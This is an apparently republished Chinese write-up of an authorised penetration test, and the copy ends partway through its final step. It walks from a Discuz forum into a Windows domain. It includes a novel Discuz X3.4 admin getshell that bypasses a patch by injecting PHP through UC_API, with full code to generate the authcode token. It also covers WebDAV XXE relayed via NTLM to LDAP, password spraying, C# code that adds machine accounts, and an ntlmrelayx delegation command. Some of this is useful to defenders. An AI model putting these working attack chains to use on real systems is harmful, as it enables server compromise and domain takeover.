日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

“不一样”的真实渗透测试案例分析

發布時間:2025/3/21 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 “不一样”的真实渗透测试案例分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

本文是由一次真實的授權滲透案例引申而出的技術分析和總結文章。在文章中我們會首先簡單介紹這次案例的整體滲透流程并進行部分演繹,但不會進行詳細的截圖和描述,一是怕“有心人”發現端倪去目標復現漏洞和破壞,二是作為一線攻擊人員,大家都明白滲透過程也是一個試錯過程,針對某一個點我們可能嘗試了無數種方法,最后寫入文章的只有成功的一種,而這種方法很有可能也是眾所周知的方法。因此我們只會簡單介紹滲透流程,然后提取整個滲透過程中比較精華的點,以點及面來進行技術分析和探討,望不同的人有不同的收獲。
白嫖的福音網安學習資料》》

滲透流程簡述

在接到項目以后,由“前端”小組(初步技術分析小組)進行項目分析和信息收集以及整理,整理出了一批域名和一些關鍵站點,其中有一個phpmyadmin 和 discuz的組合建站,且均暴露在外網,這也是很常見的一種情況。由于網站某個web端口的解析配置問題導致了php不被解析而形成任意文件下載漏洞,通過這個漏洞我們拿到了mysql的root賬戶密碼。由于linux服務器權限設置比較嚴格的問題沒法直接使用phpmyadmin登錄mysql而提權拿到discuz的webshell。經過多種嘗試我們利用phpmyadmin替換管理員hash而登錄discuz后臺,在discuz后臺利用修改ucenter配置文件的漏洞寫入了webshell。

在進入內網以后,通過簡單的80、443探測內網的web時候發現了一個含有java webdav的服務(域內windows,后文中以A服務器稱呼),利用java webdav的xxe去執行NTLM Relay。同時收集discuz數據庫中用戶名利用kerberos AS_REQ和密碼噴射(一個密碼和不同用戶名的組合去KDC枚舉)幸運的獲得了一組域內用戶的賬戶和密碼,利用這個用戶增加了一個機器賬戶。結合NTLM Relay和這個機器賬戶利用基于資源的約束委派,成功的使這個機器賬戶具有了控制A服務器的權限。登錄A服務器繞過卡巴斯基抓取到了域管理密碼,這次攻堅任務也因此而結束。圖示如下:

在這次滲透流程中我們認為Discuz x3系列和xxe到域控這兩個點是值得拿出來分析和探討的。白嫖的福音網安學習資料》》

Discuz X3系列

本節分為3部分,首先將對Discuz X3以后的版本出現的主要漏洞做一個簡單總結,然后針對discuz的幾種密鑰做一些分析,最后發布一個discuz最新的后臺getshell。

以后漏洞總結

目前市面上基本都是x3以上的Discuz程序了,x3以下的網站占比已經非常低了,因此在此只總結x3以上的漏洞。總結并不是對每個漏洞進行重新分析,這是沒有必要的,網上已經有很多優秀的分析文章了。那我們為什么還要總結呢?如果你是在一線做滲透測試或者紅隊評估的同學,應該會經常遇到discuz,往往大部分同學一看程序版本再搜搜漏洞或者群里問問就放棄了。在大家的印象中discuz是一塊硬骨頭,沒必要耗太多時間在它身上,但事實上discuz并不是你所想象的那么安全。本小節將通過總結discuz的各種小漏洞,再結合我們自己的幾次對discuz目標的突破,提出一些利用思路和利用可能。

類型適用版本適用條件利用分析分析文章
SSRF<= x3.4 修復補丁1.windows
2.php>5.3+php-curl<=7.54
3.DZ開放在80端口
SSRF的利用主要是攻擊其他服務,大部分情況都需要利用到gopher協議
在DZ中需要利用緩存(redis,memcache)getshell,當然gopher模擬的tcp協議,如果服務器或內網中存在其他的可利用服務也是可以精心構造數據表利用的。
1.Discuz x3.4前臺SSRF分析
2.DiscuzX 兩處 SSRF 挖掘及利用
3.Discuz!因Memcached未授權訪問導致的RCE
任意文件刪除<= x3.4
修復補丁
前臺用戶權限Discuz 在安裝成功后,登陸后臺就會刪除安裝文件,所以重裝利用是不能實現的。
現實中的主要利用集中于刪除index.htm文件,再利用目錄遍歷去獲取備份文件,通過備份文件中的各種敏感信息(各種KEY,hash),然后再進一步利用。
Discuz!X ≤3.4 任意文件刪除漏洞分析
短文件名 漏洞未修復windows看似是比較雞肋的小技巧,但在猜一些隨機命令的文件名時非常有用,比如:利用短文件名我們可以下載數據庫備份文件(文件名中含有隨機字符),利用備份文件我們可以嘗試解密用戶密碼。https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9
authkey 預測<x 3.4問題的本質在于mt_rand() 在同一個進程中共享隨機數種子。利用猜解的authkey我們可以破解discuz主題功能的加密校驗過程Discuz_X authkey安全性漏洞分析
后臺sql注入<=3.4
修復補丁
后臺權限discuz后臺已經具備數據庫備份功能,所以select 注入作用將減小很多,該漏洞的最大意義在于mysql較低版本的寫文件getshell(這里向discuz備份目錄寫也不行,因為discuz的mkdir設置的0777,但是受到umask的影響,實際寫入的是0755,所以寫文件也比較困難),但由于x3后臺沒有了直接執行sql的功能,如果有一個注入,我們可以夸庫查詢,搞定同mysql的其他網站。Discuz! X系列全版本后臺Sql注入漏洞
后臺注入漏洞<=3.4
修復補丁
后臺權限由于是update型注入,我們在后臺已經可以利用數據庫備份獲得數據,對本網站意義不大,但是有同mysql的其他網站,如果權限不嚴,夸庫查詢,搞定同mysql的其他網站。SQL注入
后臺設置mysql任意文件讀取<=3.4
修復補丁
后臺權限通過文件讀取后,我們可以結合uc_key、authkey等key的利用。Mysql任意文件讀取攻擊鏈拓展
后臺命令執行1.5-2.5
修復補丁
后臺權限這個漏洞是命令注入漏洞,但是由于開發者的失誤,導致3.x不可用。漏洞本身也是在x3.4才被修復CVE-2018-14729
Memcached未授權訪問導致的RCE<=3.4memcached 權限需要memcached的修改權限,這個權限可以來自于ssrf,也可以來自于未授權Discuz!因Memcached未授權訪問導致的RCE
Discuz! X3.1后臺任意代碼執行<=x3.1后臺權限x3.1中間版本的getshell方法,用作參考Discuz! X3.1后臺任意代碼執行
后臺uc_center代碼執行< 3.4
修復補丁
后臺權限利用分析請看下面的文章內容本文分析

總結:

針對于discuz的ssrf漏洞,在補丁 中限制了對內網ip的訪問,導致了很難被利用。
在后臺getshell中,建議使用uc_center rce比較方便,并且通殺包括最新版本,后文有分析。
UC_KEY 直接getshell已在x3以上的最新版本被修復,但在一些老的3.2以前的版本可能被利用。
以上這些漏洞應該并不全面,且看似都比較雞肋,但往往千里之堤毀于蟻穴,幾個不起眼的小漏洞組合一下會發現威力巨大。仔細的讀者應該發現以上漏洞大部分能夠造成的最大危害是信息泄露,信息泄露有什么用呢?下面我們將接著分析Discuz的幾種密鑰,看到這兒你應該已經明白了,通過信息泄露,獲得相關密鑰,突破discuz的加密體系,進而獲取更高的權限。

Discuz的幾種密鑰分析

通過分析,在discuz中,主要有下面的幾種密鑰, 這些密鑰共同構成了discuz的加密解密體系,這里的命名有重復,我已經標記了對應key值以及key所在的位置。如下表所示:

主要探討的其實就只有authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY,authkey(uc_server) 5種,我們首先來看著幾個密鑰是怎么來的最后又到了哪兒去。

密鑰的產生

authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY 都是在安裝的時候產生。authkey(uc_server)的產生是和UC_MYKEY息息相關的,在后文中詳細講述。生成代碼如下所示:

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/install/index.php <?php ...$uid = DZUCFULL ? 1 : $adminuser['uid'];$authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);$_config['db'][1]['dbhost'] = $dbhost;$_config['db'][1]['dbname'] = $dbname;$_config['db'][1]['dbpw'] = $dbpw;$_config['db'][1]['dbuser'] = $dbuser;$_config['db'][1]['tablepre'] = $tablepre;$_config['admincp']['founder'] = (string)$uid;$_config['security']['authkey'] = $authkey;$_config['cookie']['cookiepre'] = random(4).'_';$_config['memory']['prefix'] = random(6).'_';save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);$db = new dbstuff;$db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET);if(!VIEW_OFF) {show_header();show_install();}if(DZUCFULL) {install_uc_server();} ...$db->query("REPLACE INTO {$tablepre}common_setting (skey, svalue) VALUES ('authkey', '$authkey')"); ... ?>

我們看見key的產生都依賴于discuz 自定義的random函數,出現過的authkey爆破問題也因此產生。在安裝時由于處于同一個cgi進程,導致mt_rand() 只播種了一次種子,所以產生了隨機數種子爆破和推測key的問題,在3.4版本中,authkey的產生已經是拼接了完整的32位字符串,導致了無法進行爆破推算出authkey的前半部,因此這個問題已經被修復,但這個漏洞原理值得學習。代碼最后可以看出authkey產生后還放入了數據庫中,最終authkey存在于數據庫pre_common_setting表和/config/config_global.php配置文件。 代碼中的 instal_uc_server()函數實現了UC_KEY(dz),UC_KEY(uc_server)的產生,使用了同一個生成函數_generate_key(),代碼如下:

function _generate_key() {$random = random(32);$info = md5($_SERVER['SERVER_SOFTWARE'].$_SERVER['SERVER_NAME'].$_SERVER['SERVER_ADDR'].$_SERVER['SERVER_PORT'].$_SERVER['HTTP_USER_AGENT'].time());$return = array();for($i=0; $i<32; $i++) {$return[$i] = $random[$i].$info[$i];}return implode('', $return); }

產生的算法牽扯到安裝環境和安裝過程的http header信息,導致爆破基本失效,從而無法預測,最后UC_KEY(dz)保存到了/config/config_ucenter.php中,UC_KEY(uc_server)保存到了/uc_server/data/config.inc.php中。

Discuz Key的相關思考

我們通過查看源碼,去分析每個key影響的功能,通過這些功能點,我們可以去獲得更多的信息。信息的整合和利用往往是我們滲透的關鍵。下面我們將做一些拋磚引玉的思考并舉一些例子,但不會面面俱到一一分析,這樣也沒有意義,具體的代碼還是需要讀者自己親自去讀才能印象深刻。白嫖的福音網安學習資料》》

1. authkey
authkey的使用在discuz主程序中占比很重,主要用戶數據的加密存儲和解密使用,比如alipay相關支付數據的存儲和使用、FTP密碼的存儲等等;還用于一些功能的校驗,比如驗證碼的校驗、上傳hash的校驗等等;用戶權限的校驗也用到了authkey,比如source/class/discuz/discuz_application.php 中_init_user() 利用authkey解碼了cookie中的auth字段,并利用解開的uid和pw進行權限校驗,但是光知道authkey并不能完成權限校驗,我們還需要知道用戶的”密碼hash“(數據庫pre_common_member表中的password字段,此處存儲的只是一個隨機值的md5,真正的用戶密碼hash在pre_ucenter_members中),當我們通過其他方法可以讀取數據庫數據時,我們就可以偽造登陸信息進行登陸,再比如source/include/misc/misc_emailcheck.php中authkey的參與了校驗hash的生成,當我們知道了authkey后,通過偽造hash,我們可以修改用戶的注冊郵箱,然后利用密碼找回來登陸前臺用戶(管理員不能使用密碼找回功能)。

2. UC_KEY(dz)
UC_KEY(dz)也是經常提到的UC_KEY GetWebShell的主角。它主要在2個地方被使用:一個是數據庫備份api/db/dbbak.php;一個是針對用戶以及登錄和緩存文件相關的操作,主要函數位于api/uc.php中的uc_note類。

關于UC_KEY(dz)的利用,網上基本都是通過uc.php來GetWebShell,但這個漏洞在新版本已經被修復了。UC_KEY(dz)的利用并不局限與此,你去閱讀dbbak.php代碼就會發現,有了UC_KEY(dz)我們可以直接備份數據庫,下載數據庫,從數據庫中找到相關信息進行進一步滲透。

另外一個地方就是uc_note類,比如里面的synlogin()函數可以偽造登陸任意前臺用戶。當然還有其他的函數,在這里就不一一分析。

3. UC_KEY(uc_server)
UC_KEY(uc_server)往往是被大家忽視的一個key,它其實比UC_KEY(dz)的使用更多。首先他同樣可以備份數據庫,對discuz代碼比較熟悉的同學應該知道dbbak.php這個文件有2個,一個是上面提到的api/db/dbbak.php;另外一個是uc_server/api/dbbak.php,他們的代碼可以說幾乎相同。唯一的區別是api/db/dbbak.php中多了2個常量的定義,基本沒有太大影響。這個2個文件都能被UC_KEY(dz)和UC_KEY(uc_server)操控。

UC_KEY(uc_server)幾乎管控了Ucenter的所有和權限認證相關的功能。例如權限驗證函數 sid_decode() ,在該函數中UC_KEY(uc_server)和用戶可控的http header共同產生了用于權限認證的sid,因此我們可以偽造sid繞過一些權限檢測。還有seccode的相關利用,在這里就不一一介紹。

整個discuz的程序其實是包含了discuz主程序和Ucenter,Ucenter更依賴于固定密鑰體系,個人感覺Ucenter的漏洞可能要比discuz主程序好挖些,你可以去試試。

4. UC_MYKEY
UC_MYKEY主要用來加密和解密UC_KEY(discuz),如下所示:

UC_KEY(dz) ----- authcode(UC_MYKEY, ENCODE) ----> authkey(uc_server)authkey(uc_server) ----- authcode(UC_MYKEY, DECODE) ----> UC_KEY(dz)

authkey(uc_server)存儲在數據庫的pre_ucenter_applications中的authkey字段,authkey(uc_server)生成的代碼如下:

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/uc_server/control/admin/app.php <?php ...$authkey = getgpc('authkey', 'P');$authkey = $this->authcode($authkey, 'ENCODE', UC_MYKEY);$synlogin = getgpc('synlogin', 'P'); ...$app = $this->db->result_first("SELECT COUNT(*) FROM ".UC_DBTABLEPRE."applications WHERE name='$name'");if($app) {$this->message('app_add_name_invalid', 'BACK');} else {$extra = serialize(array('apppath'=> getgpc('apppath', 'P')));$this->db->query("INSERT INTO ".UC_DBTABLEPRE."applications SET name='$name', url='$url', ip='$ip',viewprourl='$viewprourl', apifilename='$apifilename', authkey='$authkey', synlogin='$synlogin',type='$type', recvnote='$recvnote', extra='$extra',tagtemplates='$tagtemplates'");$appid = $this->db->insert_id();} ... ?>

現在我們就可以知道其實UC_KEY(dz)是可以從2個地方獲取到的,一個是配置文件,一個是數據庫。對discuz比較熟悉的同學這里會發現一個問題,通過注入獲得的authkey (uc_server),有時候可以直接當UC_KEY(dz)用,但有時候發現是一個大于64位的字符串或小于64位的字符串。這個是因為,如果你是默認discuz主程序和Ucenter安裝,這個時候數據庫pre_ucenter_applications中的authkey字段存儲的就是UC_KEY(dz),如果你通過ucenter后臺修改過UC_KEY(dz),數據庫pre_ucenter_applications中的authkey字段存儲的就是通過上面提到的算法計算出來的結果了,這個結果的長度是變化的,是一個大于等于40位的字符串。

總結

針對于getshell來說,在x3以前的低版本和部分未更新的x3.2以前版本,我們可以直接利用discuz的uc_key(dz)結合api/uc.php前臺getshell,獲得uc_key(dz)的方法有:

數據庫中的authkey(uc_server)結合UC_MYKEY,這個在UCenter后臺也能看見,沒有使用*顯示。
文件泄露等問題獲得uc_key(dz)
在x3版本以后,對于key的利用主要集中在操作數據庫和UCenter功能上,利用各種辦法進入discuz后臺,結合接下來講到的后臺GetWebShell的方法獲取最終權限。

后臺GetWebShell的補丁繞過

在小于x3.4的版本中,網上已經公布的利用方法是:后臺修改Ucenter數據庫連接信息,由于寫入未轉義,一句話木馬直接寫入config/config_ucenter.php文件中,導致代碼執行。

但是在新版本的x3.4中已經修復了這個漏洞,代碼如下:

// https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/source/admincp/admincp_setting.php x3.4 <?php ...if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {require_once './config/config_ucenter.php';$ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);$settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']){cpmsg('uc_config_load_data_local_infile_error', '', 'error');}if($settingnew['uc']['connect']) {$uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);if(!$uc_dblink) {cpmsg('uc_database_connect_error', '', 'error');} else {if(function_exists("mysql_connect")) {mysql_close($uc_dblink);} else {$uc_dblink->close();}}}$fp = fopen('./config/config_ucenter.php', 'r');$configfile = fread($fp, filesize('./config/config_ucenter.php'));$configfile = trim($configfile);$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;fclose($fp);$connect = '';$settingnew['uc'] = daddslashes($settingnew['uc']);if($settingnew['uc']['connect']) {$connect = 'mysql';$samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');$configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost']."')", $configfile);$configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser']."')", $configfile);$configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile); ... ?>

補丁對 $ucdbpassnew 進行了轉義,而且if(function_exists(“mysql_connect”) && ini_get(“mysql.allow_local_infile”)==“1” && constant(“UC_DBHOST”) != $settingnew[‘uc’][‘dbhost’]), 該補丁還解決了惡意mysql文件讀取的問題。

繞過補丁

通過補丁,我們知道了所有的Ucenter配置參數都會進行轉義,但是我發現discuz的配置文件更改,都是利用字符替換完成的,在替換字符中,很容易出現問題,所以在源碼中尋找配置修改的相關代碼,最后在 api/uc.php 中找到了利用點。

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/api/uc.php <?php... if(!defined('IN_UC')) {require_once '../source/class/class_core.php';$discuz = C::app();$discuz->init();require DISCUZ_ROOT.'./config/config_ucenter.php';$get = $post = array();$code = @$_GET['code'];parse_str(authcode($code, 'DECODE', UC_KEY), $get);if(time() - $get['time'] > 3600) {exit('Authracation has expiried');}if(empty($get)) {exit('Invalid Request');}include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';$post = xml_unserialize(file_get_contents('php://input'));if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {$uc_note = new uc_note();echo call_user_func(array($uc_note, $get['action']), $get, $post);exit();} else {exit(API_RETURN_FAILED);} } else {exit; } ...function updateapps($get, $post) {global $_G;if(!API_UPDATEAPPS) {return API_RETURN_FORBIDDEN;}$UC_API = '';if($post['UC_API']) {$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);unset($post['UC_API']);}$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';$fp = fopen($cachefile, 'w');$s = "<?php\r\n";$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";fwrite($fp, $s);fclose($fp);if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {if(preg_match('/^https?:\/\//is', $UC_API)) {$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {@fwrite($fp, trim($configfile));@fclose($fp);}}}return API_RETURN_SUCCEED;} ... ?>

在 updateapps 函數中完成了對 uc_api 的更新,這里的正則在匹配時是非貪婪的,這里就會存在一個問題,當uc_api為 define(‘UC_API’, ‘http://127.0.0.1/discuz34/uc_server’);phpinfo();//’); 時,我們執行updateapps函數來更新uc_api時就會將phpinfo();釋放出來。 要使用updateapps進行來更新uc_api,我們需要知道UC_KEY(dz)的值,而UC_KEY(dz)的值,恰好是我們后臺可以設置的。

利用分析

進入后臺站長-Ucenter設置,設置UC_KEY=隨意(一定要記住,后面要用), UC_API= http://127.0.0.1/discuz34/uc_server’);phpinfo();//

成功寫進配置文件,這里單引號被轉移了,我們接下來使用UC_KEY(dz)去調用api/uc.php中的updateapps函數更新UC_API。

利用UC_KEY(dz) 生成code參數,使用過UC_KEY(dz) GetWebShell的同學肯定不陌生,這里使用的UC_KEY(dz)就是上面我們設置的。

<?php $uc_key="123456";// $time = time() + 720000; $str = "time=".$time."&action=updateapps"; $code = authcode($str,"ENCODE",$uc_key); $code = str_replace('+','%2b',$code); $code = str_replace('/','%2f',$code); echo $code;function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key != '' ? $key : '123456');$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));} } ?>

將生成的數據帶入GET請求中的code 參數,發送數據包

訪問 http://127.0.0.1/discuz34/config/config_ucenter.php 代碼執行成功

到此成功GetWebShell,在這個過程中,有一點需要注意的是,我們修改了程序原有的UC_KEY(dz),成功GetWebShell以后一定要修復,有2中方法:

從數據庫中讀取authkey(uc_server),通過UC_MYKEY解密獲得UC_KEY(dz),當然有可能authkey(uc_server)就是UC_KEY(dz)。
直接進入Ucenter后臺修改UC_KEY,修改成我們GetWebShell過程中所設置的值。
白嫖的福音網安學習資料》》

XXE to 域控

在本節中我們會講到WEBDAV XXE(JAVA)利用NTLM Relay和一個機器賬戶去設置基于資源的約束委派來RCE的故事。當然繞過卡巴斯基dump lsass也是非常的精彩。流程圖示如下:

WEBDAV XXE

前文中已經提到了我們進入內網后發現一臺部署著java應用的web服務器,并探測出該網站存在/webdav目錄。

在一個國外安全研究員的ppt(What should a hacker know about WebDav? )中這樣提到: 一般webdav支持多種http方法,而PROPPATCH、PROPFIND、 LOCK等方法接受XML作為輸入時會形成xxe。

我們探測下支持的http方法:

我們在測試PROPFIND方法時成功收到了xxe請求:

常規的xxe一般會想到任意文件讀取、以及網上提到的利用gopher打redis等。在《Ghidra 從 XXE 到 RCE》中提到利用java xxe做ntlm relay操作。由于sun.net.www.protocol.http.HttpURLConnection 發送HTTP請求遇到狀態碼為401的HTTP返回頭時,會判斷該頁面要求使用哪種認證方式,若攻擊者回復要求采用NTLM認證則會自動使用當前用戶憑據進行認證。

現在我們成功獲取到了NTLM認證請求,接下來就是NTLM中繼了。

NTLM中繼和域機器賬戶添加

什么是NTLM中繼
相信大家都不陌生,要理解什么是NTLM中繼首先要知道NTLM認證的大致流程,這里做個簡單講述,詳細請參考The NTLM Authentication Protocol and Security Support Provider。

NTLM身份驗證協議中包含3個步驟:

協商:NTLM身份驗證的第一步是協議的協商,以及客戶端支持哪些功能。在此階段,客戶端將身份驗證請求發送到服務器,其中包括客戶端接受的NTLM版本。
質詢:服務器以自己的消息作為響應,指示其接受的NTLM版本以及要使用的功能。該消息還包括challenge值。
響應:收到challenge后客戶端用hash將challenge加密,作為NTLM Response字段發送給服務器。
NTLM身份驗證是基于質詢響應的協議,服務器發送一個質詢,客戶端對這個質詢進行回復。如果質詢與服務器計算的質詢匹配,則接受身份驗證。

知道了NTLM身份認證的大致流程,我們再來說NTLM中繼,如下圖所示,如果我們可以讓Client A 向我們的Evil Server X,發起NTLM認證,那么我們就可以拿Client A的身份驗證信息去向Server B進行認證,這便是ntlm中繼。看到這里你會覺得說了那么多不就是中間人攻擊么,對就是中間人攻擊。

知道了NTLM中繼,結合Java WEBDAV XXE的作用,利用HTTP 401的認證,我們可以直接利用WEBDAV服務器的憑據向域控發起認證,讓域控以為我們是WEBDAV服務器。

在域中增加機器賬戶
在這里可能有同學有疑問了,前面不是提了中繼么?為什么不用Ghidra 從 XXE 到 RCE和Ghost Potato里提到的方式去Relay回自身調用RPC進行相關操作,還要增加機器賬戶呢?因為這個WEBDAV服務是system權限運行的,而system賬戶做Relay時是用機器賬戶去請求的,沒有辦法去調高權限RPC接口,所有這里不能直接Relay回自身調用RPC。

既然不能直接Relay回自身調用RPC,我們換一種思路,用基于資源約束委派一樣可以獲取權限。白嫖的福音網安學習資料》》

在通過基于資源約束委派進行利用時,需要有一個機器賬戶來配合(這里說法其實不太準確,應該是需要一個具有SPN的賬戶,更詳細的說是需要一個賬戶的TGT,而一個機器賬戶來代替前面的說法,是因為機器賬戶默認具有一些SPN,這些SPN包含了我們后面會用到的cifs等,這里就不細說了,不然又是一篇文章了,后面統一用機器賬戶來描述),而默認域控的ms-DS-MachineAccountQuota屬性設置允許所有域用戶向一個域添加多達10個計算機帳戶,就是說只要有一個域憑據就可以在域內任意添加機器賬戶。這個憑據可以是域內的用戶賬戶、服務賬戶、機器賬戶。

那么問題又來了,既然需要一個機器賬戶,前面提到的

system賬戶做Relay時是用機器賬戶去請求

這個地方說的機器賬戶,也就是我們文中的WEBDAV服務器的機器賬戶,為什么不用這個機器賬戶,要自己去增加一個呢?了解基于資源約束委派的同學應該知道,我們需要用機器賬戶去申請TGT票據,但是我們如果用WEBDAV服務器的機器賬戶,我們不知道這個機器賬戶的密碼或者hash。沒有辦法去申請TGT。如果是我們創建的機器賬戶,我們是知道密碼的,這樣才能去申請TGT了,這里就不在深入繼續分析了,里面涉及到的過程極其復雜,有興趣的同學可以自行學習。

回歸正題,我們怎么在域中去創建一個機器賬戶。

我們把在之前的discuz數據庫中的用戶名整理成字典,并通過kerberos AS_REQ返回包來判斷用戶名是否存在。

接下來將discuz的密碼拿到cmd5上批量解密,解密后發現大部分用戶的登錄密碼都是P@ssw0rd,于是使用密碼噴射(一個密碼和不同用戶名的組合去KDC枚舉) ,成功獲取到了一個域憑據n0thing@blueteam.com:P@ssw0rd

有了域憑據后就能連接域控ldap添加機器賬戶了,不得不說.net真是個好語言,用System.DirectoryServices.Protocols這個東西很輕松就能實現該功能。

... //連接ldap System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389); NetworkCredential nc = new NetworkCredential(username, password); //使用憑據登錄 System.DirectoryServices.Protocols.LdapConnection connection = null;connection = new System.DirectoryServices.Protocols.LdapConnection(identifier,nc);connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; connection.Bind();var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)connection.SendRequest(request); Console.WriteLine("[+] Machine account: " + machine_account + " Password: "+ new_MachineAccount_password + " added"); ...

有細心的同學看到這里可能會想: “用xxe中繼到域控的ldap然后添加一個機器賬戶不是美滋滋? 哪需要這么花里胡哨的!”。但是域控不允許在未加密的連接上創建計算機帳戶,這里關于加密涉及到tls/ssl和sasl,又是一堆的知識,這里就不細聊了。

用.net寫的小工具很輕松地添加上了一個機器賬戶。

現在我們有了機器賬戶,接下來就利用基于資源的約束委派。

基于資源的約束委派

Windows Server 2012中新加入了基于kerberos資源的約束委派(rbcd),與傳統的約束委派相比,它 不再需要域管理員對其進行配置,可以直接在機器賬戶上配置msDS-AllowedToActOnBehalfOfOtherIdentity屬性來設置基于資源的約束委派。此屬性的作用是控制哪些用戶可以模擬成域內任意用戶,然后向該計算機(dev2)進行身份驗證。簡而言之: 如果我們可以修改該屬性那么我們就能拿到一張域管理員的票據,但該票據只對這臺機器(dev2)生效,然后拿這張票據去對這臺機器(dev2)進行認證(這里只是簡單描述,可能不太準確,還是那句話基于資源的約束委派整個過程細節及其復雜,筆者也不敢說掌握全部細節)。

現在我們開始實際操作,首先在我們的VPS上利用impacket工具包中的ntlmrelayx.py工具監聽。

./ntlmrelayx.py -t ldap://ad1.blueteam.com -debug -ip 192.168.20.140 --delegate-access --escalate-user evilpc\$

然后用xxe請求我們的VPS,接著將憑據中繼到域控服務器的LDAP服務上設置基于資源約束委派。

